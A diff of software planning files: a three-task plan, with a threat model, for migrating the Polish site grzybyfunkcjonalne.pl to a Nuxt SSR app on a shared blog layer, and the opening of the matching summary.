../sm-grzybyfunkcjonalne-app/.gitmodules, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app</files>
+  <read_first>.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md (D-04, D-07, D-08, D-15, D-16, D-24), .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md (URL Inventory, routing rules, Pattern 1 app excerpt, Pattern 4, Pitfall 4, A2, A8), .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-01-SUMMARY.md (Prerequisite contract, any layer deviations), ../vue-journal-layer/README.md, ../vue-journal-layer/testing/smoke-ssr.mjs, ../sm-summercmsio-app/vue-summercmsio-app/package.json, ../sm-summercmsio-app/vue-summercmsio-app/nuxt.config.ts, ../sm-summercmsio-app/vue-summercmsio-app/app/assets/css/tokens.css, ../sm-summercmsio-app/.gitmodules, .planning/notes/core-plugins-own-repos.md, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export/badania-nad-cordycepsem.json</read_first>
+  <action>Create the app as a nested repo at ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app (git init -b main, remote origin git@git.golem15.com:golem15/vue-grzybyfunkcjonalne-app.git). Copy .nvmrc, tsconfig.json, pnpm-workspace.yaml (allowBuilds esbuild, @parcel/watcher, vue-demi) and .gitignore (node_modules/, .nuxt/, .output/, .data/, dist, .env) from ../sm-summercmsio-app/vue-summercmsio-app.
+
+package.json: name vue-grzybyfunkcjonalne-app, private, type module, engines node >=22.18; scripts build (nuxt build), dev (nuxt dev), preview (nuxt preview), prepare (nuxt prepare), smoke:ssr (node node_modules/vue-journal-layer/testing/smoke-ssr.mjs --output .output --fixtures tests/fixtures/api --expect tests/fixtures/expect.txt); no generate script (D-07 SSR). dependencies exactly nuxt 4.4.8, vue 3.5.35, vue-journal-layer git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.1.0 (D-04); devDependencies typescript 5.9.3. Do not list @nuxtjs/i18n, @nuxtjs/seo or @nuxt/fonts (the layer declares them; Pitfall 4). pnpm install writes pnpm-lock.yaml with the tag commit. A link:../../vue-journal-layer override for local layer work is documented in the README and never committed (D-04).
+
+nuxt.config.ts (short comment above each block, summercms.io style): compatibilityDate 2025-07-15, devtools off, extends ['vue-journal-layer'], no modules key. journal: routes { index '/blog', post '/blog/:slug', category '/:category', author '/autor/:author', tag false } (D-15; the PHP site has no tag pages), perPage { index 12, category 10, author 10 } (PHP blog.htm 12, index.htm 10, autor.htm 10), sort 'published_at desc'. i18n: strategy prefix_except_default, defaultLocale pl, locales [{ code pl, language pl-PL, file pl.json, name Polski }], langDir locales/, baseUrl https://grzybyfunkcjonalne.pl (D-16: pl only, no prefix). site: url https://grzybyfunkcjonalne.pl, name Grzyby Funkcjonalne, description Serwis informacyjny poświęcony grzybom funkcjonalnym, defaultLocale pl. routeRules: '/**' swr 300 and '/blog/**' swr 120 (D-07: Nitro swr on node-server, never isr). runtimeConfig: journal.apiBase http://127.0.0.1:8096/_journal/api/v1 and public.gaId '' (D-23, env NUXT_PUBLIC_GA_ID). css: ~/assets/css/tokens.css (the app may use ~ for its own files). fonts: Jost (400, 500, 600, 700) for headings and Open Sans (400, 600, 700) for body, normal style, latin and latin-ext subsets, global.
+
+tokens.css: one :root:root block (higher specificity than the layer's :root, RESEARCH Pattern 4 and A8) overriding --journal-color-* with the refreshed palette seeded from #0D705D (primary), #27AE60 (accent), #138C74 (link), #1AAC8F (link hover), #444444 (text) and white background, --journal-font-heading Jost and --journal-font-body Open Sans, plus site tokens --site-* (header height, hero overlay), each with a trailing comment naming its use. app.vue renders NuxtLayout and NuxtPage; layouts/default.vue wraps the slot in a header slot area, main and footer slot area (filled in Task 2).
+
+i18n/locales/pl.json: overrides for the layer strings the site wants in its own words (journal.index.title Artykuły, journal.pagination.pageTitle Strona {page}) plus site keys used in this task.
+
+Fixtures (tests/fixtures/api, the layer fixture-api format): 14 published posts copied from /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export (pl translation title, slug, excerpt and content_html, published_at converted to the Go wire format, categories as { id, name, slug }), including blogbadania-nad-cordycepsem; categories tree with cordyceps, reishi, chaga, shiitake, lions-mane, turkey-tail and amanita-muscaria (post_count 0) and a content HTML string on cordyceps containing the marker text Cordyceps w pigułce; tags []; one author with slug admin per the 16-01 Prerequisite contract; rss.xml with one item. tests/fixtures/expect.txt: 200 /blog/blogbadania-nad-cordycepsem contains=Najnowsze Badania nad Cordycepsem; 404 /blog/badania-nad-cordycepsem; 200 /cordyceps contains=Cordyceps w pigułce; 200 /amanita-muscaria; 404 /nieistnieje; 404 /rss; 404 /feed; 404 /404; 404 /error; 200 /blog; 200 /blog?page=2; 404 /blog?page=3; 404 /en/blog; 200 /autor/admin; 404 /autor/nobody; 200 /rss.xml type=application/rss+xml; 200 /sitemap.xml contains=/blog/blogbadania-nad-cordycepsem; 200 /sitemap.xml contains=/amanita-muscaria.
+
+Commit in the app (feat: SSR site on vue-journal-layer with the PHP URL map) and push main. Then mount it: in ../sm-grzybyfunkcjonalne-app run git submodule add git@git.golem15.com:golem15/vue-grzybyfunkcjonalne-app.git vue-grzybyfunkcjonalne-app (git adopts the existing nested repo), commit only .gitmodules and the gitlink in the host (chore: mount vue-grzybyfunkcjonalne-app submodule). Never stage files under the submodule from the host repo (.planning/notes/core-plugins-own-repos.md).</action>
+  <verify>
+    <automated>pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app install --frozen-lockfile &amp;&amp; pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app build &amp;&amp; pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app run smoke:ssr &amp;&amp; git -C ../sm-grzybyfunkcjonalne-app ls-files -s vue-grzybyfunkcjonalne-app | grep -q '^160000' &amp;&amp; go -C ../sm-grzybyfunkcjonalne-app vet ./... &amp;&amp; go -C ../sm-grzybyfunkcjonalne-app test ./... -count=1 -v -run '^(TestBootUserTranslateJournal)$'</automated>
+    <fails_when>Non-zero exit; output contains "smoke-ssr: FAIL", "ERR_PNPM_OUTDATED_LOCKFILE" or "--- FAIL"; the "smoke-ssr: ok" line or the "--- PASS: TestBootUserTranslateJournal" line is absent; the host index has no 160000 gitlink for vue-grzybyfunkcjonalne-app.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - Every line of tests/fixtures/expect.txt passes against the built .output: post by pl slug 200, base slug 404, /cordyceps 200 with its content marker, /amanita-muscaria 200, unknown roots and /404, /error 404, /blog?page=2 200 and ?page=3 404, /en/blog 404, /autor/admin 200, /rss.xml RSS type, sitemap entries for a post and an empty category.
+    - package.json pins vue-journal-layer to #v0.1.0 and pnpm-lock.yaml records the commit of that tag.
+    - `grep -nE '^\s*modules:' ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts` prints nothing.
+    - nuxt.config.ts contains category: '/:category', author: '/autor/:author' and tag: false.
+    - `git -C ../sm-grzybyfunkcjonalne-app ls-files -s vue-grzybyfunkcjonalne-app` starts with 160000 and .gitmodules has url git@git.golem15.com:golem15/vue-grzybyfunkcjonalne-app.git.
+    - Host go vet and TestBootUserTranslateJournal stay green.
+  </acceptance_criteria>
+  <done>The site app answers the PHP post, category, blog, author and error URLs with the right status codes from SSR, installed from the layer tag and mounted in the host.</done>
+</task>
+
+<task type="auto">
+  <name>Task 2: Homepage, typed menu, FAQ and footer with the current Polish copy in the refreshed design</name>
+  <files>../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/pages/index.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/layouts/default.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/SiteHeader.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/SiteFooter.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/HeroSection.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/LatestPosts.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/AboutSection.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/CtaSection.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/ServicesSection.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/FaqSection.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/menu.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/contact.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/faq.pl.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/assets/css/tokens.css, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/assets/css/base.css, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/i18n/locales/pl.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/public/favicon.ico, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/public/images/hero-forest.webp, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/public/images/cta.png, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt</files>
+  <read_first>../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/i18n/locales/pl.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt, .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md (Content Inventory, Runtime State Inventory: live HTML is the copy authority), /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/layouts/default.htm, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/partials/homepage.htm, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/partials/g15_menu, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/partials/g15_faq, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/content/homepage, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/plugins/golem15/faq, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/plugins/golem15/menu, ../sm-summercmsio-app/vue-summercmsio-app/app/components/SiteHeader.vue, ../sm-summercmsio-app/vue-summercmsio-app/app/assets/css/base.css</read_first>
+  <action>Copy authority (RESEARCH Runtime State Inventory): fetch https://grzybyfunkcjonalne.pl/ with curl and take every Polish string from the live HTML; fall back to /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/sources/gf_old.sql sitemanager settings and the g15_faq rows only for text the live page does not show. Carry the copy verbatim (D-11); drop the sitemanager enable_* toggles and the arsha demo blocks (clients, portfolio, pricing, team, whyus, newsletter, contact).
+
+i18n/locales/pl.json gains the keys home.hero.title, home.hero.text, home.hero.cta, home.latest.title, home.latest.more (Czytaj więcej → /blog), home.about.title, home.about.columns (two rich-text strings), home.about.cta, home.cta.title, home.cta.text, home.services.title, home.services.items (4 entries with title and text), footer.* and menu.* keys. Rich text with markup is stored as HTML strings and rendered through the layer's gateJournalHtml before v-html.
+
+app/data/faq.pl.json: { slug: what-mushrooms-can-give-you, intro, items: [16 × { question, answer_html }] } with the live answers (D-12). app/data/menu.ts: export type MenuItem = { kind: 'link'; labelKey: string; to: string } | { kind: 'journal-categories'; labelKey: string }, export const MAIN_MENU: MenuItem[] = Blog → /blog, then the Grzyby Funkcjonalne dropdown of kind journal-categories (the live g15_menu main: Blog plus a blog_categories dropdown). app/data/contact.ts: export const CONTACT with name, street Wróblewskiego 1A/1U, city Namysłów, phone 666-681-225, email kontakt@grzybyfunkcjonalne.pl, footer links (Artykuły blogowe → /blog, Golem15, Ciemność.com, Dobra bomba with their live URLs) and social x.com/ophiel118.
+
+Download the hero background (live las.webp), the CTA image (live 65f9f2e96287d085855960.png) and the favicon from the live site into public/images/hero-forest.webp, public/images/cta.png and public/favicon.ico (keep the original bytes).
+
+Components (tokens only, no Bootstrap, no hard-coded colours outside tokens.css): SiteHeader (logo text Grzyby Funkcjonalne linking /, MAIN_MENU rendered from the typed config; the journal-categories item lists useJournalApi().listCategories() flattened, each through useJournalLinks().categoryLink; keyboard-accessible dropdown and a mobile toggle), SiteFooter (CONTACT details, tel and mailto links, footer links, social, copyright with the current year), HeroSection (full-width image with a darkening overlay token, h1, text, CTA to /blog), LatestPosts (useJournalApi().listPosts({ perPage: 3 }) rendered with the layer JournalPostCard, plus the Czytaj więcej link to the journal-index route), AboutSection, CtaSection, ServicesSection (4 boxes), FaqSection (accessible details/summary list; answers through gateJournalHtml). index.vue composes Hero, LatestPosts, About, Cta, Services, Faq and sets useSeoMeta title Witamy and the site description. layouts/default.vue renders SiteHeader, main and SiteFooter. base.css: global typography from tokens, section spacing, buttons, cards, responsive breakpoints at 768px and 1100px; the refreshed look is cleaner and roomier than the arsha template (D-01, D-03), not a pixel copy.
+
+Append to expect.txt: 200 / contains=Grzyby Funkcjonalne; 200 / contains=Czym są grzyby funkcjonalne?; 200 / contains=Dlaczego warto?; 200 / contains=<the first FAQ question>; 200 / contains=kontakt@grzybyfunkcjonalne.pl; 200 / contains=href="/cordyceps"; 200 / contains=href="/amanita-muscaria"; 200 / contains=Najnowsze Badania nad Cordycepsem.
+
+Commit in the app (feat: homepage, menu, FAQ and footer with the current Polish copy) and push main; bump the host gitlink in a separate host commit (chore: point vue-grzybyfunkcjonalne-app at the homepage).</action>
+  <verify>
+    <automated>pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app build &amp;&amp; pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app run smoke:ssr</automated>
+    <fails_when>Non-zero exit; output contains "smoke-ssr: FAIL"; the "smoke-ssr: ok" line is absent.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - GET / answers 200 and contains the hero title, the about and services headings, the first FAQ question, the contact email and the latest post title from the fixtures.
+    - The header lists all seven category links, including /amanita-muscaria (include_empty=1 through the layer client).
+    - app/data/faq.pl.json has exactly 16 items, each with non-empty question and answer_html.
+    - app/data/menu.ts exports MenuItem and MAIN_MENU, and MAIN_MENU contains an item with kind journal-categories.
+    - `grep -rnE '#[0-9a-fA-F]{3,6}\b' ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components` prints nothing (colours live in tokens.css).
+  </acceptance_criteria>
+  <done>The homepage, menu, FAQ and footer show the current Polish content in the refreshed design, and the menu lists every Journal category.</done>
+</task>
+
+<task type="auto">
+  <name>Task 3: Kontakt, trwaja-prace, error pages, blog header, analytics through runtime config and the app README</name>
+  <files>../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/pages/kontakt.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/pages/trwaja-prace.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/error.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/PageHero.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/Journal/IndexHeader.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/utils/analytics.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/app.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/i18n/locales/pl.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect-ga.txt, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/README.md</files>
+  <read_first>../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/app.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt, ../vue-journal-layer/app/components/Journal/IndexHeader.vue, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/pages/kontakt.htm, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/content/content-kontakt.pl.htm, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/pages/trwaja-prace.htm, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/pages/404.htm, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/pages/error.htm, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/pages/blog.htm, /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/layouts/default.htm (the GA snippet), ../sm-summercmsio-app/vue-summercmsio-app/README.md, .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md (D-14, D-23)</read_first>
+  <action>kontakt.vue (D-14): PageHero with Kontakt and the subtitle Skontaktuj Się z Ekspertami od Grzybów Funkcjonalnych (content-kontakt.pl.htm), then the CONTACT details with a tel link and a mailto:kontakt@grzybyfunkcjonalne.pl link. No HTML form element, no input fields and no request to any endpoint; the contact and newsletter forms stay dropped (backlog 999.1). trwaja-prace.vue: PageHero plus the heading Niebawem (trwaja-prace.htm). Both set useSeoMeta titles.
+
+error.vue: reads the Nuxt error; 404 renders the PHP 404.htm copy (Nie Znaleziono / Nie znaleziono tej strony) and 500 renders the error.htm copy (Wystąpił Błąd / Spróbuj ponownie za chwilę), each with a link to / and the site layout. /404 and /error have no page of their own: they fall into the /:category route, the category lookup misses and the 404 page renders (live status for both is 404).
+
+Journal/IndexHeader.vue overrides the layer component: PageHero with the blog image (public/images/cta.png, the live blog header image), title Artykuły (plus Strona N when page > 1, matching the live "Artykuły | Strona 2" title) and the description Przeczytaj nasze artykuły na temat grzybów funkcjonalnych (blog.htm meta). PageHero is a shared component (image, title, subtitle, overlay token).
+
+analytics.ts (D-23): export const GA_ID_PATTERN = /^G-[A-Z0-9]{4,20}$/ and export function gaHeadScripts(id: string) returning [] when id is empty or fails the pattern, else two head script objects: the async loader src https://www.googletagmanager.com/gtag/js?id=<id> and an inline script that defines window.dataLayer, gtag, gtag('js', new Date()) and gtag('config', '<id>'); the id is the only interpolated value and is pattern-checked first. app.vue calls useHead({ script: gaHeadScripts(useRuntimeConfig().public.gaId) }). The production value G-MLSV7WJ6W4 is set only through NUXT_PUBLIC_GA_ID on the server (16-03 env template); the default and staging builds render no analytics.
+
+nuxt.config.ts: robots { disallow: ['/gfadmin', '/_journal'] }; sitemap { exclude: ['/trwaja-prace'] } (the live sitemap lists /, /blog, categories and posts, not the Niebawem page); linkChecker { excludeLinks: ['/gfadmin', '/gfadmin/**', '/_journal/**', '/storage/**', '/rss.xml'] }. package.json gains the script smoke:ga (the smoke:ssr command plus --env NUXT_PUBLIC_GA_ID=G-MLSV7WJ6W4 --expect tests/fixtures/expect-ga.txt).
+
+Append to expect.txt: 200 /kontakt contains=mailto:kontakt@grzybyfunkcjonalne.pl notcontains=<form; 200 /trwaja-prace contains=Niebawem; 404 /404 contains=Nie znaleziono tej strony; 200 /blog contains=Przeczytaj nasze artykuły; 200 /blog?page=2 contains=Strona 2; 200 / notcontains=googletagmanager; 200 /robots.txt contains=Disallow: /gfadmin; 200 /sitemap.xml notcontains=/trwaja-prace. expect-ga.txt: 200 / contains=googletagmanager.com/gtag/js?id=G-MLSV7WJ6W4.
+
+README.md (an application README may name the site): what the app is, requirements (Node 22.18+, pnpm 11), commands (pnpm install --frozen-lockfile, dev, build, preview, smoke:ssr, smoke:ga), the D-15 URL map table (PHP page → Nuxt route), configuration (journal.routes, runtime env NUXT_JOURNAL_API_BASE, NUXT_PUBLIC_GA_ID, NUXT_SITE_URL, NUXT_SITE_INDEXABLE, NITRO_HOST, NITRO_PORT), content locations (pl.json, app/data/*), the layer dependency and how to bump its tag, local layer work with an uncommitted link: override.
+
+Commit in the app (feat: kontakt, error pages, blog header and runtime GA), push main, and bump the host gitlink in a separate host commit (chore: point vue-grzybyfunkcjonalne-app at kontakt and analytics).</action>
+  <verify>
+    <automated>pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app build &amp;&amp; pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app run smoke:ssr &amp;&amp; pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app run smoke:ga</automated>
+    <fails_when>Non-zero exit; output contains "smoke-ssr: FAIL"; fewer than two "smoke-ssr: ok" lines are printed.</fails_when>
+    <automated>! grep -rn '<form' ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app</automated>
+    <fails_when>Exit status 1 with a matching line printed: the app contains a form element (D-14 dropped forms).</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - /kontakt answers 200 with the mailto link and no form; /trwaja-prace answers 200 with Niebawem; /404 answers 404 with the PHP 404 copy.
+    - /blog shows the Artykuły header and description; /blog?page=2 shows Strona 2.
+    - Without NUXT_PUBLIC_GA_ID the homepage has no googletagmanager script; with NUXT_PUBLIC_GA_ID=G-MLSV7WJ6W4 it loads gtag/js?id=G-MLSV7WJ6W4.
+    - gaHeadScripts returns [] for '' and for a value that fails GA_ID_PATTERN.
+    - /robots.txt disallows /gfadmin; /sitemap.xml does not list /trwaja-prace.
+    - The host gitlink for vue-grzybyfunkcjonalne-app points at the app's pushed main commit.
+  </acceptance_criteria>
+  <done>Every non-Journal PHP page has its Nuxt successor, errors render the PHP copy, and analytics is controlled by runtime config only.</done>
+</task>
+
+</tasks>
+
+<threat_model>
+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| Repo-committed site copy → v-html | FAQ answers and rich homepage copy are HTML strings rendered in the DOM |
+| Server env → head scripts | NUXT_PUBLIC_GA_ID is interpolated into an inline script |
+| Visitor → kontakt page | A contact page could invite input if a form were added |
+| pnpm git dependency | The app pulls the layer from git.golem15.com |
+
+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-16-06 | Tampering | FaqSection, AboutSection rich text (v-html) | low | mitigate | Copy is committed in the repo and reviewed; every v-html still goes through the layer's gateJournalHtml (same three Go patterns) |
+| T-16-07 | Tampering | app.vue gaHeadScripts inline script | medium | mitigate | GA_ID_PATTERN (^G-[A-Z0-9]{4,20}$) gates the only interpolated value; malformed or empty ids emit no script (Task 3 acceptance) |
+| T-16-08 | Information Disclosure | analytics on staging | low | mitigate | gaId defaults to ''; staging leaves NUXT_PUBLIC_GA_ID empty (D-23); production sets G-MLSV7WJ6W4 only in the server env |
+| T-16-09 | Spoofing | /kontakt | low | accept | D-14 drops the form: no input surface, no new Go endpoint; mailto and tel links only (negative grep for a form element) |
+| T-16-SC | Tampering | npm/pnpm installs and the layer git dependency | high | mitigate | Exact versions only (nuxt 4.4.8, vue 3.5.35, typescript 5.9.3, already approved in RESEARCH Package Legitimacy Audit); the layer is pinned by tag and lockfile commit and installed with --frozen-lockfile; no new packages |
+</threat_model>
+
+<verification>
+- `pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app build` then `run smoke:ssr` and `run smoke:ga` print "smoke-ssr: ok".
+- The host has the vue-grzybyfunkcjonalne-app gitlink and its go vet and boot test stay green.
+</verification>
+
+<success_criteria>
+- The site app is SSR, pl-only, installed from layer tag v0.1.0 and mounted in the host (D-04, D-07, D-08, D-16).
+- Every PHP URL form from D-15 answers with the expected status on the fixture API.
+- Homepage, menu, FAQ, kontakt, trwaja-prace and error pages carry the current Polish copy in the refreshed design (D-11, D-12, D-14).
+- GA follows NUXT_PUBLIC_GA_ID (D-23).
+</success_criteria>
+
+<output>
+Create `.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-02-SUMMARY.md` when done.
+</output>

.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-02-SUMMARY.md

@@ -0,0 +1,306 @@
+---
+phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views
+plan: 02
+subsystem: frontend (Nuxt site app)
+tags: [nuxt, ssr, vue-journal-layer, i18n, nuxtjs-seo, swr, google-analytics, submodule]
+status: complete
+
+requires:
+  - phase: 16-01
+    provides: "vue-journal-layer v0.1.0 (journal.routes, useJournalApi/useJournalLinks, gateJournalHtml, --journal-* tokens, testing/smoke-ssr.mjs and fixture-api.mjs)"
+provides:
+  - "vue-grzybyfunkcjonalne-app repo (private, SSH) on git.golem15.com, main b50c808"
+  - "submodule vue-grzybyfunkcjonalne-app in sm-grzybyfunkcjonalne-app (gitlink b50c808, pushed)"
+  - "PHP URL map on the layer: /blog, /blog/:slug, /:category, /autor/:author, no tag pages; /404, /error and unknown roots 404"
+  - "homepage, typed menu, FAQ, footer, /kontakt, /trwaja-prace, error.vue with the live Polish copy"
+  - "GA through NUXT_PUBLIC_GA_ID only (gaHeadScripts, GA_ID_PATTERN)"
+  - "smoke:ssr (35 checks) and smoke:ga (2 checks) on 14 fixture posts from the PHP export"
+affects: [16-03, 16-04, 16-05]
+
+actuals:
+  tokens: 30493    # chars/4 over the 44 tracked app files, pnpm-lock.yaml and public/ binaries excluded
+  tasks: 3
+  commits: 6       # 3 in vue-grzybyfunkcjonalne-app (git rev-list --count HEAD, new repo) + 3 in sm-grzybyfunkcjonalne-app (git rev-list --count ff20e6c..HEAD)
+commits: 6
+plan_head_before: ff20e6cce25628341c4c1e6b5879f1f3979baa2d   # sm-grzybyfunkcjonalne-app; vue-grzybyfunkcjonalne-app started empty
+plan_head_after: 33bc5e04bfc2ad2c79c33b01c962d49ed21dd7cc    # sm-grzybyfunkcjonalne-app; app repo main b50c808f88e43fd97072690e52bc9144efbcc3a8
+
+tech-stack:
+  added: ["vue-grzybyfunkcjonalne-app (new repo): nuxt 4.4.8, vue 3.5.35, typescript 5.9.3, vue-journal-layer git tag v0.1.0 (lock commit 783426c)"]
+  patterns:
+    - "Site app extends the layer with no modules key; journal.routes carries the site's URL shape"
+    - "Visitor address recorded in event.context on the Nitro request hook, so swr-cached renders still forward X-Forwarded-For"
+    - "Site copy in pl.json (HTML columns allowed via i18n compilation.strictMessage false), data in typed app/data files, every v-html through gateJournalHtml"
+    - "Colours only in tokens.css (:root:root overrides of --journal-* plus --site-*); components hold no colour literals"
+
+key-files:
+  created:
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/app.vue
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/error.vue
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/layouts/default.vue
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/pages/index.vue
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/pages/kontakt.vue
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/pages/trwaja-prace.vue
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/SiteHeader.vue
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/Journal/IndexHeader.vue
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/composables/useJournalApi.ts
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/menu.ts
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/contact.ts
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/faq.pl.json
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/utils/analytics.ts
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/assets/css/tokens.css
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/assets/css/base.css
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/server/plugins/client-address.ts
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/server/plugins/html-errors.ts
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/i18n/locales/pl.json
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect-ga.txt
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/README.md
+    - .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/deferred-items.md
+  modified:
